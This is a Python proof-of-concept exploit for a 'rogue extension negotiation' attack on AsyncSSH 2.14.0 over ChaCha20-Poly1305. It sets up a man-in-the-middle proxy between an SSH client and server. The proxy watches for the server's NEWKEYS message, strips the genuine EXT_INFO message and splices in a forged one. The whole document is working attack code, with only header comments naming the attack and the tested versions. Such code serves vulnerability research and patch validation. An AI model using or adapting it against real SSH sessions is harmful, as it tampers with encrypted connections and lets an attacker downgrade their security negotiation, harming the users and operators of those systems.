AsyncSSH Rogue Extension Negotiation

 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     server_data += server_socket.recv(4096)
                 print(f"[d] Original server_data before modification: {server_data.hex()}")
                 server_data = insert_rogue_ext_info(server_data)
                 print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
             if len(server_data) == 0:
                 break
             client_socket.send(server_data)
     except ConnectionResetError:
         print("[!] Target connection has been reset. Continue closing sockets.")
     print("[!] forward_server_to_client thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 if __name__ == '__main__':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     mitm_socket.bind((PROXY_IP, PROXY_PORT))
     mitm_socket.listen(5)
 
     print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
 
     try:
         while True:
             client_socket, client_addr = mitm_socket.accept()
             print(f"[+] Accepted connection from: {client_addr}")
             print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
             server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             server_socket.connect((SERVER_IP, SERVER_PORT))
             print("[+] Spawning new forwarding threads to handle client connection.")
             Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
             Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
     except KeyboardInterrupt:
         client_socket.close()
         server_socket.close()
         mitm_socket.close()